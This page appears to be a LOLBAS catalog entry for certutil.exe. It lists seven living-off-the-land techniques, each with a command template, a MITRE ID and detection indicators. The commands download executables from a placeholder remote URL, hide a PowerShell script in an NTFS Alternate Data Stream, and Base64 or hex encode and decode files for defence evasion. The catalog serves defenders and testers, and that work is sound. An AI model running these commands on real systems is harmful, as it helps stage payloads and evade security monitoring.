Catalog LOLBAS

LOL · Binary

Certutil.exe

7 techniques WindowsLOLBAS GPL-3.0

Download

File Download Windows

Download and save an executable to disk in the current folder.

Use Download file from Internet

certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}
Context
user
Native
Download
MITRE
T1105
Detection
IOC: Certutil.exe creating new files on disk
IOC: Useragent Microsoft-CryptoAPI/10.0
IOC: Useragent CertUtil URL Agent

Download

File Download Windows

Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not.

Use Download file from Internet

certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}
Context
user
Native
Download
MITRE
T1105
Detection
IOC: Certutil.exe creating new files on disk
IOC: Useragent Microsoft-CryptoAPI/10.0
IOC: Useragent CertUtil URL Agent

ADS

Defense EvasionFile Write Windows

Download and save a .ps1 file to an Alternate Data Stream (ADS).

Use Download file from Internet and save it in an NTFS Alternate Data Stream

certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt
Context
user
Native
ADS
Detection
IOC: Certutil.exe creating new files on disk
IOC: Useragent Microsoft-CryptoAPI/10.0
IOC: Useragent CertUtil URL Agent

Download

File Download Windows

Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`.

Use Download file from Internet

certutil.exe -URL {REMOTEURL:.exe}
Context
user
Native
Download
MITRE
T1105
Detection
IOC: Certutil.exe creating new files on disk
IOC: Useragent Microsoft-CryptoAPI/10.0
IOC: Useragent CertUtil URL Agent

Encode

Defense Evasion Windows

Command to encode a file using Base64

Use Encode files to evade defensive measures

certutil -encode {PATH} {PATH:.base64}
Context
user
Native
Encode
Detection
IOC: Certutil.exe creating new files on disk
IOC: Useragent Microsoft-CryptoAPI/10.0
IOC: Useragent CertUtil URL Agent

Decode

Defense Evasion Windows

Command to decode a Base64 encoded file.

Use Decode files to evade defensive measures

certutil -decode {PATH:.base64} {PATH}
Context
user
Native
Decode
MITRE
T1140
Detection
IOC: Certutil.exe creating new files on disk
IOC: Useragent Microsoft-CryptoAPI/10.0
IOC: Useragent CertUtil URL Agent

Decode

Defense Evasion Windows

Command to decode a hexadecimal-encoded file.

Use Decode files to evade defensive measures

certutil -decodehex {PATH:.hex} {PATH}
Context
user
Native
Decode
MITRE
T1140
Detection
IOC: Certutil.exe creating new files on disk
IOC: Useragent Microsoft-CryptoAPI/10.0
IOC: Useragent CertUtil URL Agent